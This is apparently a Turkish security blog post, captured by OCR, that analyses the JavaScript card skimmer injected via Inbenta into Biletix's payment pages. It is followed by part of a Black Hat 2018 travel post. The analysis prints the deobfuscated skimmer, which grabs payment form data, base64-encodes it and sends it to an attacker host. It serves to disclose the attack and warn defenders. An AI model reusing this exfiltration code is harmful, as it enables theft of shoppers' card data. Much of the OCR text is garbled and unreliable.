Diiglendeek icin haziramistir Ticketmaster icn Iugterienn k

'@&A000H W

ol Bu tweet ok a2 retwest aimig benm

2 manding gelmed

Aktif olarak biinyelerinde izleme ve miidahale yapan analistlerden olugan bir Siber Giivenlik Merkezi’ne sahip olan kurumlar, Biletix’te
dogru gitmeyen birseyler oldugunu Nisan ay1 gibi kullandiklar giivenlik teknolojilerinin {irettigi alarmlari sayesinde 6grendiler. ;) Mayis ay1
itibariyle antiviriis yazilimlarina gelen giincelleme ile Biletix iizerinden bilet almaya ¢alisan son kullanicilar ise web sitesine gomiilli olan
http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js? 1503669126 dosyasi igin zararli yazilim uyarisi ile karsilasmaya basladilar.
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https://www.virustotal.com/tr/file/eb49f05d0738b851ec25ede8592c021c3421588154c2e90af542f69ee3ed0530/analysis/1529576415/

SHA256: eb49f05d0738b8512c25edeB592c021c3421588154c2e90af542169ea3ed0530
Tespit edilme orani 2/59

Analiz tarihi: 2018-06-21 10:20:15 UTC ( 2 hafta, 3 gin 6nce) En sonuncusunu gérintile .,f 1 6 O

=Analizler. = @Ekbilgi. @ Yorumlar. @) D Oylar

Antivirus Sonug Giincelle
Symantec Infostealar 20180621
TrendMicro-HouseCall Suspicious_GEN F47V0516 20180621
Ad-Aware < 20180621
AegisLab ] 20180621
AhnLab-V3 ] 20180621
Alibaba & 20180621
AlYac ] 20180621
Antiy-AVL ] 20180621
Arcabit ] 20180621
Avast ] 20180621
Avast-Mobile ] 20180621
AVG ] 20180621
Awira (no cloud) ] 20180621
AVware ] 20180621
Babable ] 20180406
Baidu ] 20180621
=
[3 File information
@ |dentification @ Content U Analyses & Submissions QITwW =, Comments
MD5 3d154b03ccfTb836b67edab442a98cfc
SHA-1 a0445373490ad8b5260calccTdf4e709a9d732cT
SHA-256 eb49f05d0738b851ec25ede8592c021c3421588154c2e90af542f69ee3ed0530
ssdeep 6144:74qHnubY PzYVgxPYwS88ziy[X ClsdGG/RYJ1QABkTSXLUSIDZipdyPF04uciFz:pH 1UgxQf88ziy TEX46b d64uciFz
Size 636.4 KB (651645 bytes)
Type Text
Magic 150-8859 English text, with very long lines, with CRLF line terminators
TriD Unknown!
Detection ratio 21759
First submission 2018-04-25 12:18:08 UTC ( 2 ay dnce)
Last submission 2018-05-28 15:05:45 UTC ( 1 ay énce)
Tags text
® Download file C Re-scan file




—
(3 File information

O |dentification @ Content U Analyses & Submissions QITwW = Comments

% Propagation, di ination and distribution strategies

This file has been spotted in-the-wild at certain URLs that are later detailed, it may be part of some drive-by download strategy or simply
legitimately hosted goodware.

& Download URLs

This file has been spotted as the response content of the following URLs.
http:/iticketmastertr.inbenta. com/chat/assets/js/inbenta.js?1503669126
http:{fticketmastertr.inbenta. com/chat/assets/js/inbanta js
http:/fticketmastertr.inbenta. com/chat/assets/js/inbanta js?1503669125
http:/fticketmastertr.inbenta. com/chat/assets/js/inbanta js?1503669127

B In-the-wild file names

inbenta js

inbenta js.bin

@Download file | C'Re-scan file -

Merak kediyi 6ldiirmeden olayin perde arkasini 6grenmek i¢in zararl kod igeren javascript dosyasina ulasip analiz etmek i¢in ise koyulmaya
karar verdim. inbenta.js dosyasinin zararsiz siirlimiinii http://ticketmastertr.inbenta.com/chat/assets/js/inbenta.js adresinden indirip, okunakli
(beautified) hale getirdikten sonra VirusTotal’dan indirdigim zararli kod igeren inbenta.js dosyasi ile kiyasladigimda, 18927. satir itibariyle
zararlt kod ortaya ¢ikiverdi. Zararli JavaScript Analizi baslikli yazimda oldugunun aksine bu defa gizlenmis javascript kodunu sanal
sistemimdeki internet tarayicisi ile ¢ozmek (deobfuscate) yerine daha hizli ilerleyebilme adina IlluminateJs web uygulamasi ile ¢6zmeye
karar verdim.

[ wcketmastertr.nbentac: X L - o x
C O | O toketmastertrinbentacom/chat/ sssets 13665126 4 0@e a0

) Hackd Career ot [0 Linkedin WP Mert SARICA (mert: [ inbos - mertsarica Cther bockmans
: test(t)) " st.replace( fumction(t){var n
sbject sstypeof sbh™fumction=stypeof 5.tolSONBA(s: 01S0M(t) ), “fumction estypeot repll .

= f[wo-lmm #=[1,"[sbject Ar
3 1 *gap) 1" «Jodn{=,") ypecf rep)for(re=rep. i mncr jrenl ) "
or (i in s)0bject.prototype. h-morw-n, .uts.l:u[wnru,n.oll- push(quote(i)+(gap Jea))ireturn osl=sss. lwnl""{?' gap " \n"sgapea. join)
G isfinite(this.valueof()) Mthis {nis getUTCHonth( )41 )+"-
1null}, String.prototype. ta: Mreturn thi
T - L e\ w0E00 - \usu\‘muxm\..lm\..uk \u20F, L2028 - \ux;‘f\.uu Luet uf e fFuf .
s 34

==0bject prototype. toString.seply(s))

2 tUTCHInutes())+": T (h
M\mu w202 LuI060- |uIBET Lt et Lt 0
WA, T A, £"WW"),
tmv! ollt b ject”™ thypw' e | “nusber -lvp«
}for(n in o)0bjec ty
-tostring(18)).slice(-4)}))./
“function”sstypesf reviverwal(("
»olle-1 in t)))}function §(t){ver esLt[t]e{}:return
n)jraturn 1| I[1-|9![<i-ﬂ m[]lll! peides: :}-u[l]l'(u[l]

It scceptData(t) ) {var r
=1t extend{u[1],m):u]1].
var 1,8, =t node

t.support. deletetxpana | |u!=s. windou?

)1iF(int.gethtt
1

11t. istaptyObject(t[e]) JAA"tolSON 3 } { } w(){! 1]
o) jraturn Lt grepit, function(t, 1) {return! - 5 B 5 b i typest o) {1f(1t.testie)ireturn
don(t){return 1t. Indrray(t, n:uo'..«mmmlm hit){ver e=bt. (" - i createf {1)ireturn nlfunction dit,e){reten
firstihild, "tr™) P, gett “yell it t}function nup[-—nw ype™) 147"+t type, t}function bt} {ver

v trit,
ype™ ), tfunction ltt.l.’llfur[w n 1-‘1wll|-t--t[l}].1n:]t data(n, “globaltval®, le||lt. dets(e[i ;iﬂlun rodeTypelllt hasData(t)){ver

apanda) | scr Lpt” eeenibie
wdee.

tent(t. type) Fle. aoi'unnm .chacked, e

)itypeof t.guerySelectorill!==g?
a} Humction z(t){ee. test(t. type ) Bh(t.defoultCheckedst. checked) |function y(t,e){if(e
1\.(wtlinl[t.mm.tifﬂm:tlm O(t,e}{for(var n,0,0,r=

n,c-h - 3uppart . baxs iz inghl"border -
t (utt.'lw-slxln; el L %

et neve[t];return n| | {me + “none’ \mﬂn”[ﬂl‘!lﬂl’”l‘f"lfr- frl-w‘!r ddth='8" height ‘dls
function wit,e){var nelt(e.createtlement(t)). wn[- body), d=lt. :sli 1)
=1t.type(e) )i(t,0);else for(o in e)ute"[“soe" (=)

cw{1) | 1", (e[4]=£[1]| I[]).wnshifein)): {l[l]-![l]ll[ll wlh(nl}r'uunu S{t,e.n,d
tmestiereturn ofe. dotaTypes[0])] | Ir[™" ]Ils J}function m(t,n}{ver i,0,r=lt

o3 ). ﬂ!]ﬂ[},r-ugﬂ[r-! mimeT, uﬂn.ﬁr{ ‘Content - n-p- V)df(r)for(c in s)if(s]
i[s] }Function E(t 1 1

""
[r]e wldth®, ".0:]}.*‘!!0!1! .}'u‘:\'l" It L
:[m-—mm asioetiilc mppers. num.'n-u.uq...m ,m.[.];.o-wuu

ite("<idoctype htals
() t0) N[+

[1sdf(le. lﬂu\(lwh\] Mar(jier{oss
t:w! ivoid @:(e.detaTypes. uuliﬂ{u

Lextend(!

.{fn.— ¢ dn £){1F(Iu[8]]|t.converters[c+” “+ul0]])
for(rel.shife sefields[r AL
TN T u||]|||u[‘- “+c[8]]) ) {ween 0] :ulo] la=todh
dataze) function X(){try{return new t.0UHEtpRequest]catchie){} function B}
1)ar=8, 8=, Jif{i=o[r].callin, e, t) )return §}function Pit,e,n){ver
00| |0, ral-1, aed), buu. tueens. 1.-.0-..: jass)u. tueens[a] . cun(r ) jreturn ¢ notifyuithit,

,- art Time 1Qe | |k ) , dr: 1 ation,t 1[]aer ) {var

jreturn elc.resolvewith(t,[u,e])1c.rejectwith(t,

1,8,7eb, smcn. Langth, calt. h-hrr-d(] -luntl'm:u— Jdelet
il

). 1t camelCasa(n) amel 1], retln], 1! twrntr!ﬂ!wll} ret[n]=r{8]).m
-]-on-ho oii]-e}hnu:en jil.-.n:!w— i .l-[}.n-! nric,'-t nodeTypellT(t), helt. dots n.qurue

func L on{ }{ t.queve(t,x"). length| | <. empty. H'!{]J?}!J.lu-t rodeTypeld(“height"in

=lt.css(t, " float™ JAk{1t. support . 1nuuuumL ‘dnline™l=sg(t Pp.zoomsip. di sn.overfloskl

D“Ol"
UM![!].M'

(e= ") -emp ty. 1

o] [ wldth™in ¢ }bh{n. overflows[p. overflow,p.overflouk,p. overflowr], ~inline snslt. css(t, "displ

(p-overf “hidden”,1t.support . shr inkiirap8locks| |

show™ ) jcontinue; 1[1]-hbRA[1] | |1t.
Wi

e
+“fxshow”, (1), rbb(h. hiddens -f; 31t(t) . show( ) :u. dome{ function( ) {1t(t) . hide(}}), ..m[fmunnn:uu w;lt._removeData(t, “frshou”); \'ae:c in
=i P1:0) )} Hunction Hit,e,0,0,0){return new H.prototype. indt( m,d o) Hunction Uit e){ver s d={haight:t]},omd;for{ame?lid oM
i t. | t.pa } 6, ¥, $=typeaf & anuau Vet document , . documentELement ot . fQuery, Iot. 5, tte(], ot
. = ce, atuet. IndexOf  ctutt. toteing, stett. hastunbroperty utent. trin Hreturn new 1t.fn. indtit,e,¥) ), pte/[+- 112 0=\ )\ o] [+-]P08s] )/ . source, Fte/\S4/g, hte/~ [ \s \WPEFF\xa0]+|
R L T T | R B o 1 i e AR L e VA T R MR LS e T PAST\[ /e AN P [ VR Fnet ] [uf Ve FA-F [{4] ) /gL At=S [ * WP AR ] [ true | false [mull| 2P0 | V] 21 [€E][+- ] Phab] )/ vEn/tmee/ 2t -

t[\u z] )/ gl yr=function(t,e){return . toUpperCase()}, Tt=function(t){(V.addEventListener || “load"eest. q-p-ll onplete seey.. rnnysuu]ntmt: 1. rua,::l} Otefunction()(V.sddEventListener?

emoveventListener (“DOMContantLoaded”, Tt, 11), . removebventListener(“losd", Te, 11)): (V. c,Te ‘anl fnelt. prototypes{ jquery :nt,constructor:1t, indt: function(t,n, 1:-’ur o, riif{ it} raturn
'{'"rw watypeof t)(if(on"c weet. charat( ==t charkt (¢ . leng thaed?(null, t,mull) :dt. exec(t), o] |'e[||w:ruvn|ln||n qu;*:nun Find(t) i thi
1t.merge(this,lt.persenTiL(o[1], nbln. nodeType in. cunerDocument | |n (o[1] )81t P lainOtject(n) for(o in n)lt.isPumction(this[o]) this[o](n[e]}:thi,
i. nmu,m. Lengthel, [ -nodeType?(this.contextethis[@]«t, this. lengthel, this):lt. isfunction(t ). resdy(t

f.opacity=i.widthet), i function F(t){return lt.lswindow(t)?

1adt
0)),m
Jor}return this this. selectorst, thisjreturn

constructor(n).find(t); U(o[t]l{l![n-n instencect It
tr(o,n[e])ireturn this}if yId(a[2]),rkkr MAf(r.1dtmea(2] ) return
.selector | eseld

52


http://www.mertsarica.com/zararli-javascript-analizi/
https://illuminatejs.com/#/how-it-works

merz M inbox - mertsarica

HTML, make JSOMLISONP readable, etc #th 4 spaces

F
1

Beautify JavaScript or HTML

Beautify JavaScript or HTML

Browser extensions and other uses

« A bookmarkls kmarks by Ichire Hiroshi 10 see all scripts used on the page o Beautih pheoin (cithub) by HookyQR for the

+ Chrome, in cass the

File Edit h S | es T Help
R Efgmf RELDE B> AN N R IR R

Compare > X
\inbentalinbenta_ori

h 00101111k )| Tabed | LIT | W1
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o[ _Oxisec[15]] 4= _mcéie Onisec[20]] + _Owlsec

[_Oxlaec[40]](_oxisec]
&

3

+ hsot17desen

(_exlsec[47]], tremdepyeght 2017 Gesk eourt 100 I et L't otar”
. exlaeclsali: infae".

Javascript kodunu okunakli, anlasilir hale getirdikten sonra 2. satirda yer alan hxxps://webfotce.me/js/form.js web adresi hemen dikkatimi
¢ekti. Bu adresi Google arama motorunda arattigimda ise ilk olarak 19 Kasim 2017 tarihinde VirusTotal’a akismet.js ad1 altinda yiiklenip 16
antiviriis yazilimi tarafindan tespit edilen, okunakli olmayan inbenta.js dosyasinin okunakli bir siiriimii gibi gériiniiyordu.

bl total

SHAZ256: feac12e049f548edfc504b4170719917b59ecab85bd019fdd8b424c92ceedi16

Dosya adr: akismet js

@00

Tespit edilme orani 16/ 58

Analiz tarihi: 2018-07-07 00:16:17 UTC ( 7 saat, 1 dakika once)

= Analizler =~ @Ekbilgi. @ Yorumlar. @) @ Oylar

@ File identification

MD35 b63188547f75041942171a0438a44746

SHA1 3557cf200d80bd9f2bb2c7793add325813bad35

SHAZ256 feac12e049f548edfc504b4170719917b9%eca585bd019fddBb424c52ceabf16
ssdeep 48:inSFGCpeJh/Wt69a8pTly CEXjvwgsLzlJghV:iSFGCm/j9aHEsLzrK

Dosya boyutu
Dosya tiiri
Magic lafzi
TriD

Tags

& VirusTotal metadata

First submission
Last submission

Dosya isimleri

3.0 KB ( 3092 bytes )
Text
ASCIl text, with CRLF line terminators

Unknown!

2017-11-19 09:50:48 UTC ( 7 ay, 2 hafta dnce)
2018-05-15 00:03:58 UTC ( 1 ay, 3 hafta énce)

VirusShare_b63188547f75041942171a0438a44746
akismet js
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https://www.virustotal.com/tr/file/feac12e049f548edfc504b4170719917b99eca585bd019fdd8b424c92cee8f16/analysis/

B total

SHAZ56: feac12e049f548edfc504b4170719917b99eca585bd0 19fdd8b424c92ceeti16
Dosya adi: akismet.js

—
Tespit edilme orani 16/ 56 ‘r 0 O
Analiz tarihi: 2018-06-30 00:03:20 UTC ( 1 gin, 15 saat dnce)

@ Analizler.  @Ekbigi. | @ Youmlar @) = Q Oylar

falcon-threatscore:82/100
memurl:"Pattern match: https:/fwebfotce mefjsiform js"
source:https:/fwww. hybrid-analysis.com/sample/feac12e049f548edfc504b4170719917b99%ecab85bd019fddBb424c52ceedf16%environmentld=1

submitname:"feac12e049f548edfc504b4170719917b99ecab85bd019fdd8b424c92ceedf16.js bin”

0o
PayloadSecurity tarafindan 5 ay, 1 hafta énce ganderildi Kullanish (0) Kullanigh dedil. (0) Kotuye kullanim (0}
- VirusTotal Graph - feacl. X
&« C ) | & Secure | hitps//www.virustotal.com/graph/#/selecte

@) HackdCareerinfor [ Linkedin W Mert SARICA (mert: M Inbox - mert.sarica

Te 1

Type: Text

Size: 3.02 kB

First Seen: 2017-11-19 09:50:48
Last Seen: 2018-05-15 00.03.58
Submissions: 3

File Name: akismet s

feac ! Je0455 4500ttt 404 T TOT 19 TEVRecat BS0a0 1P a0B T4l K Rlceed 1Y

Copy to clipboard
VT Public report

VT Intelligence report

T O 00

Label Root Node

There are no more relations available

_p 5
H L py [} Q
Agdnewnode  Hidelabel  Full expansion  Delete
> | Root Node
* 7 & -
p/hwww groopdealz. com/blogiwp-
Pin node  Hightlight = plugi : - s
First Seen: 2017-11-22 02:35:37
Detections 16/58 > 1166 Last Seen: 2017-11-22 02:35:37
Submissions 1
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RSO T T NTAT ATl [_Smiaes (1611 4= _Smedien [_Smedient] [_Smiseal30]] 4 _Suwissa(33] ¢ _Ometies?[_Suediend]_Suiseali¥1] + _Swise[33]

send tumcties

tu" Javsecriph:weid (31 ] button, input, submit, bte, Buttos®l

©4"ibD A7pele’ chechien 44b . 17pele  pansveed’ bih bypele-redis’ 371 54 _Ometlanb(_Omlssei3f]] 1= _Omisesiif] 84 _Smedissbi_dmisss(381]
LLasbAfaliie? o1k, Ealen 4343480 1_Duises(01], falsa
1heasd TN SulTHEIEL Lasd takLLIET S1N NTAT T VO AT AI R0 |_Oulsea|30]
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Shord et Ve Herorus e e o

inbenta.js dosyasinda yer alan zararli javascript kodunun nasil ¢alistigini dinamik olarak analiz edebilmek i¢in Biletix’in web sitesine
girip sanal sistemimdeki internet tarayicisi iizerinde simiilasyonunu yapmaya karar verdim. Zararli kodun son satirini inceledigimde, bu
kodun payment kelimesini igeren herhangi bir sayfada devreye girdigini 6grendigim i¢in 6deme sayfasina ilerlemek ve simiilasyonumu
gerceklestirmek i¢in goziime Shakira’nin konserini kestirdim. Konser bileti alma igleminin son sayfasina (payment) geldigimde ise zararl
javascript kodunu, Chrome internet tarayicisinin DevTools araci ile internet tarayicim iizerinde ¢alistirip, sanal sistemim tizerinde dinamik
olarak analiz etmeye basladim.
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http://www.biletix.com/etkinlik-grup/155916113/DIGER/en
https://developers.google.com/web/tools/chrome-devtools/
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googletag. cad. push(functd

googletag.defineSlot( /8. 194 HomePage . nsun nd®, [278, 148], ‘div-gpt-ad ") - addServi 1 ubads ());
pqlcn. -display(’ div-gpt-ad- 1480302755851 -0
</seripts
«/dlvy
du”adBT0n145-sidden” classe"hiddenOnTablet™ styles"pasition: sbsalu -1800px; top: -1088px; :-Index: 1880;>
<div ide"div-got-ad-1480032920117-0" styles"helght:14Spn; width: 370px; ">
scripts
googletag. cud. push|function( ) {
googletag defineSlot( /61630104 /HomePage JT0x145", [370, 145], “di ot 17-0") .addiervice( wbads());

googletag.display( div-gpt-sd-1400011920117-0 );

ripts

cfdiwr

<script types"t wascript™
(function(){ver gefunction(eh,f

this.getafunction(s){for (var ssss-s",cedocument cookie.split(™;"),bed, enc. Length boe bes ) (for(var dec[b];” “sed.chardt(@);)ded. substring(1,d m‘-n---url--n

this. setefunctions,c){ver be"", benew Du Time (. getTime | ) +5048E5) explrese"+0. toGTString | ) jdocument . cooklaens™="4cH

this. check=function r sethis.get(f); &‘-‘ﬂlilt ")ielse LF(100!ee)"v"
cea]2]Wiath. floor(100/c], a[2]++, this. set(f,0. Jodn(":"}), {c}returnia);

~hbd{a=riath. random | e /18879: 108, ae[h,0,8], this. set (.0 Joln(" ")) jelse returnld

indexf{a) jreturn d.substring(s.lemgth,d. length) jreturn null};
svar conf1];09(100eet Jraturni0; switch{a[8]){cose " :ireturnlljcase “r":return

11

this.gowfunction(){1f(this.check()){var wedocument .Createt lement("script™

Jin. types"text/javascript™a.sromge “Bts” + (new Date()).getTime();
this.sta

){var

< bady.
tiistener hindow. sddbventL istener (~laad" JFunction(j{a. god )}, 11) rwindow. attachEventbledndow. sttachvent | “onload”, function(){a. 'ﬂ ¥

N

b
scation href) ) ). start()jeateh(1){}}

"’r[(.u. |\ g2 g LOCs"
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title="ri11490" sMelp</ span>
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<divs
classe"Ffootersrapper Wic8I™
cdiv class="foater™ Ld="foote

cdiv

<div Ld="fasterurapper™s

class="footer-1inks"»

<div class="Links-holder™>
cdiv classs"footer-link-group™s

class="foot,

LinksTitl

<span

=“Witp://help.biletix.con/"sFrequently Asked Questions</ar¢/1Ls
11

s="footer- Link-grous™>
an classe"footerLinksTitle™sdbout Us</spans

™
e
e
- ediv elass="footer-1ink-group"
. <spmn clans="footerLinkiTitle™sWORK WITH US</span:
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[Hinberta_decoded_malicious_code js E3 |

156 } =
157 = if (hOB0ff17d66T76b0ST4TfaT7c90fd2d2db0.snd '= null) {

158 const _Oxcélexd =

A location.hostname.split(".").slice(C0).join("_") || "nodomain";

160

161 var _Oxcélexe = btoa(h080ff17d6676b09747LaTc80fd2d2db0. snd) ;

162

163 const Oxcélexf = new XMLHttpRequest():

164

165 _Oxcélexf.open(

166 "BPOST™

16T hO80ff17d66T76b09747fa7c80fd2d2db0.1214a36488ae4c64a9300b9E2da97d046,

168 true

163 )i

i70 _Oxcélexf.setRequestHeader(

A1 "Content—-type™,

172 "application/x-www-form-urlencoded™

473 1

A _Oxcélexf.send(

A 1S "info=" +

176 _0Oxcélexe +

b Brar s "shostname=ticketmTREkey=" +

178 h080ff17d6676b09747fa7c80fd2d2db0 ..myid

179 )i

180 = }

181 h080ff17d6676b09747faTc0fd2d2db0["snd"] = null;

i1g2 _Oxcélexe = null;

183 = setTimeont (function() {

184 h080ff17d6676b09747faTc0fd2d2db0 . send () ;

185 L }. 30);

186 L } catch (e) {}

187 L }

188 =)

189

130 if (new RegExp{"payment|checkout|onestep”, "gi").test{window.location)) {

191 LT hO80ff17d66T6b09T747faT7c90fd2d2db0. send () ;

192 } 7
‘ v

JavaScript file length:5.983 lines:192 Ln:192 Col:2 Sel:0|0 Windows (CRLF) UTF-# 10 Temmuz 2018 SE|Ii
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Zararli javascript kodunu peyderpey analiz ettikge, zararli kodun 6deme sayfasindaki forma girilen tiim kredi kart1 bilgilerini, sayfada yer alan
diger bilgilerle birlikte Satin Al butonuna bastiktan sonra hxxps://webfotce.me/js/form.js adresine gonderecek sekilde tasarlandigini gérdiim.
Bunun iizerine Fiddler aracini ¢alistirip, 6deme sayfasina gecersiz kart bilgilerimi girip Satin Al butonuna bastigimda, hxxps://webfotce.me/
js/form.js adresine herhangi bir verinin gonderilmedigini farkettim! Bunun sebebini grenebilmek igin Javascript kodunda yer alan try &
catch kod blogundaki catch kismina, hata ayiklama amaciyla hatay1 ekrana yazdiran ufak bir kod yazdigimda, btoa() fonksiyonu kullanilarak
Base64 kodlama semast ile gizlenmeye ¢alisan ¢alintt verideki Tiirkge karakterlerin hataya yol agmasina ve hxxps://webfotce.me/js/form.js
adresine gonderilememesine kisaca yiizlerce belki de binlerce Biletix Tiirkiye miisterisinin kredi kart1 bilgilerinin duyuruda belirtilen siire
boyunca ¢alinamamasina yol agan faydali bir hata oldugunu 6grenmis oldum. :)
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https://www.telerik.com/fiddler
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/try...catch
https://tr.wikipedia.org/wiki/Base64
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consale. logl  woeit ‘1
) else

Frafi] srtacafvent| onsy
I9enedTFIAS2600TEF 101 Lasbd 1157 c 1)}
conscle. logl “onsutmit *);

}
¥

£F (1Pened?FIFelBel T o1 anb RS 1IST and 1o mull) {
var dosm =
lscation, nostreme . selit( . ') alice(d). Jodn( || rodcms

47 console. Lol ‘domm: domm)
console. log(15esed ¥ 14al6e8T60 101 Lanbesas 1187, sna)
alert(lieeed?fIfalielT64 10l 100844051157 40 );

var weym o

a0}

// console.Log( ‘heym: * » beym);
var Bitp = new DU tpRequest();

Wttp.open( POST",

lanbdfus1157. s

true);
PEEp. setheguestreaer( *Con tyse’, ‘apolicationsu-
- fore-urlencoded' );
tep.send("infee’ + keym + ‘Brcatrames’ o domm +
ey o [9eeedTMaI6eR 6 10N 1aabdat 1187 myia ) )
le . ke + ‘MAcetrames’ + domm -

gl b

cono
Bieye + [9eaedTeIaI6eTES 201 10084ras1157 myla )}
¥

Sened TEIFa2600TEF 11 LAnEFRS115T 0 = mull)

o = nully
setTimeout| functisa() {
15eaedT¢ 14 a26ed 764 201 Lan6afa51157  sena )

b M);
} catem (w) {alert("Impwt is * = a}j}

}
15eaear Malbed 76 1l 1nneasa SN T vena( )}

# ((new RegExp( “omepage cHffchout [onestes”,
test{window. Location)) {
BeoedTFIfal6eNTE 1011006 4F85 1157 sene( ) ;

1) eise {
4/ coniole.Logi ‘repex folle
4/ LPenedTfIfaiech 6 F 2011008 4F 251157, sen
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Hack 4 Career. Inf; [ Linkedin W' Mert SARICA (mer M Inbox - mertsarica

B —
Click the button to encode a stnng in base-64
Ty it +——

Note: The btoa() method is not supported in [E9 and earlier

lick="myFunction()">Try it</button> '

g>Note:</strong> The btoa() method is not supported in IE9 and earlier.</p>

<p>Click the button to encode a string in base-64.</p>

<p id="demo"></p>
{script> /
function myFunction() {
var str = "Satin Al";
try {
var enc = window.btoa(str);

} catch(e) {
alert (e);

var res = "E ded String + enc;
document.getElementByld("demo™).innerHTML = "The original string: + Str + "<br>” + res;

A
html>

Sonug itibariyle, Inbenta firmasini hackleyenlerin bu zararli kodu 2017 yilindan beri akismet.js gibi farkli isimler altinda da kullandigini
goriiyoruz. Biletix vakasina baktigimizda ise sayet zararli kod tespit edildikten sonra Biletix Tiirkiye tarafindan zararl adresin sayfalardan
kaldirilmasi disinda 6deme sayfasinda bu kodun ¢alismamasina yonelik 6zel bir ¢alisma, yazilim degisikligi yapilmadiysa, yaziya konu olan
donelerden ve simiilasyondan yola ¢ikarak Biletix Tiirkiye miisterilerinin kredi kart:1 bilgilerinin zararli javascript kodu tarafindan bu hata
sebebiyle, belirtilen tarih araliginda ¢alinamamis oldugunu biiyiik bir mutlulukla varsayabiliriz. :)

Inbenta 6rneginde oldugu gibi, 3. parti firmalar {izerinden gelebilecek siber saldirilardan korunmanin kesin bir yontemi olamasa da, web
sitenize 3. parti siteler iizerinden eklediginiz javascript dosyalarinin igeriginin degisip degismedigini kontrol eden ve siipheli degisikliklerde
sizi aninda haberdar eden NormShield, Sucuri gibi giivenlik ¢6ziimlerinden de faydalanabilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Biletix Vakasi appeared first on Siber Giivenlik Giinliigi.

Black Hat USA 2018

By Mert SARICA on August 26th, 2018

Sevgili igsverenim Akbank‘in ve yoneticilerimin destekleri ile 2 y1l aradan sonra yeni bir Black Hat USA seriiveni i¢in 3 Agustos, sabah saat
05:00’da yolculuk i¢in hazirlanmaya bagladim. Akbank sponsorlugunda (ilk fotografa dikkat :)) baslayan ilk ucak yolculugunun ardindan
San Francisco aktarmali olarak Las Vegas’ta, konferansin gerceklesecegi Mandalay Bay oteline vardigimda, Tiirkiye saati ile saat 23:00
olmus ve jet lag olmamak icin tam 17+ saat uyumamis olmanin verdigi yorgunlukla tam anlamiyla pestilim ¢ikmisti. Seyahat dncesinde
Tiirk Lirasi’nin asir1 deger kaybetmesi ile Amerikan Dolari’nin 5.11 TL’ye kadar yiikselmesi nedeniyle hayatimin en pahali soguk suyunu
(58 /25 TL) otele vardigimda igerek hizlica ayildim. :)

60


https://www.normshield.com/
https://sucuri.net/website-security-platform/malware-scanning-and-detection
http://www.mertsarica.com/biletix-vakasi/
http://www.mertsarica.com
http://www.mertsarica.com/black-hat-usa-2018/
https://www.akbank.com
http://www.mertsarica.com/black-hat-usa-2016/
http://www.blackhat.com/
https://en.wikipedia.org/wiki/Jet_lag
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4 Agustos sabahi, saat 10:00’da baslayacak olan 2 giinliik The Security Automation Lab egitiminin heyecani ile giine erken bagladim. 1k
is olarak Black Hat kayit alanina gidip yaka kartim1 ve kayit esnasinda verilen Black Hat ¢antasini aldiktan sonra hizlica egitim alacagim

sinifin yolunu tuttum. Yolda giderken de her zaman oldugu gibi sizler i¢in bol bol fotograf cekmeyi ihmal etmedim. :)



https://www.blackhat.com/us-18/training/schedule/index.html#the-security-automation-lab-9766
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Daha dnce almis oldugum tekik egitimlere gére oldukca hafif olan 2 giinliik bu egitim boyunca giivenlik otomasyon platformu olarak
kullanilan Evolve platformu iizerinde, tehdit istihbarati toplamaktan sistem {izerinde tespit edilen bir zararli yazilima miidahaleye kadar
bir ¢ok senaryonun uygulamasini gergeklestirdik. Entegrasyon adina manuel gereksinimi ¢ok olsa da 6zellikle IBM’in Resilient gibi bir
giivenlik otomasyon platformu satin alacak biitgesi olmayan kurumlarin Evolve platformuna géz atmalarini, egitimden edindigim tecriibeye
istinaden soyleyebilirim.

i
! The Security
& Automation Lab

i BY THREAT INTELLIGENCE
RPTY LTD
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https://evolve.threatintelligence.com/
https://www.resilientsystems.com/
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Onceki yillarda oldugu gibi Black Hat USA ile ilgili olarak orada bulundugum siire boyunca Twitter ve LinkedIn sosyal medya hesaplarimdan
merak edenler i¢in bol bol paylasimda bulunmaya gayret ettim. Tabii bu paylasimlara istinaden biri veya birileri de “bizi_black hat e gotur”
mesaji1 ile bloguma DoS saldirisi yaptigi da goziimden kagmadi. Her daim okurlart ve takipgileri i¢in imkanlari dahilinde hediye ¢ekiligleri
yapan birinin imkani1 olsa emin olun Black Hat’e ugak kaldirirdi ama maalesef imkansizliklar. :)

Mert SARICA @

~
@MertSARICA

s

imkanim olsa ucak kaldirinm biliyorsunuz ama
yok bu sebeple bloguma DoS saldirisi
yapmazsaniz sevinirim. :)

176.240.43.12 - - [08/Aug/2018:10:32:26 +0300] "GET
/?q=bizi_black_hat_a_gotur HTTP/1.1" 301 178 "-"
"python-requests/2.18.4"

176.240.43.12 - - [08/Aug/2018:10:32:26 +0300] "GET
/?q=bizi_black_hat_a_gotur HTTP/1.1" 301 178 "-"
"python-requests/2.18.4"

176.240.43.12 - - [08/Aug/2018:10:32:26 +0300] "GET
/?q=bizi_black_hat_a_gotur HTTP/1.1" 301 178 "-"
"python-requests/2.18.4"

176.240.43.12 - - [08/Aug/2018:10:32:26 +0300] "GET
/?q=bizi_black_hat_a_gotur HTTP/1.1" 301 178 "-"
"python-requests/2.18.4"

176.240.43.12 - - [08/Aug/2018:10:32:26 +0300] "GET
/?q=bizi_black_hat_a_gotur HTTP/1.1" 301 178 "-"
"python-requests/2.18.4"

176.240.43.12 - - [08/Aug/2018:10:32:26 +0300] "GET
/?q=bizi_black_hat_a_gotur HTTP/1.1" 301 178 "-"
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Konferans giinii gelip cattiginda, agilig konusmasi i¢in 2016 yilindaki ana balo salonu yerine bu defa kendimi Mandalay Bay’in 12.000
kisilik etkinlik merkezinde buldum. 12.000 kisilik etkinlik merkezi dolar m1 diye biran olsun kendi kendime yanilgiya diissem de agilis
konusmasina dakikalar kala bos koltuk sayilarint se¢gmekte olduk¢a zorlandim. Agilis konugmasini yapmak i¢in her zaman oldugu gibi ilk
olarak sahneye Jeff Moss ardindan da Google’in Project Zero miidiirii Parisa Tabriz ¢ikt1. Parisa Tabriz konusmasi esnasinda gegtigimiz ay
hayata gecen ve HTTPS olmayan sitelerin Chrome internet tarayicisi tarafindan giivensiz olarak etiketlenmesinin internet giivenligi adina
basariya ulastigindan bahsetti. Benzer sekilde Project Zero’nun 90 giinliik zafiyet yayinlama politikasinin (90 day disclosure policy) da basta
iireticiler tarafindan memnuniyetsizlikle karsilandigini ancak Google’in bu konuda geri adim atmamasi sayesinde tespit ettikleri zafiyetlerin
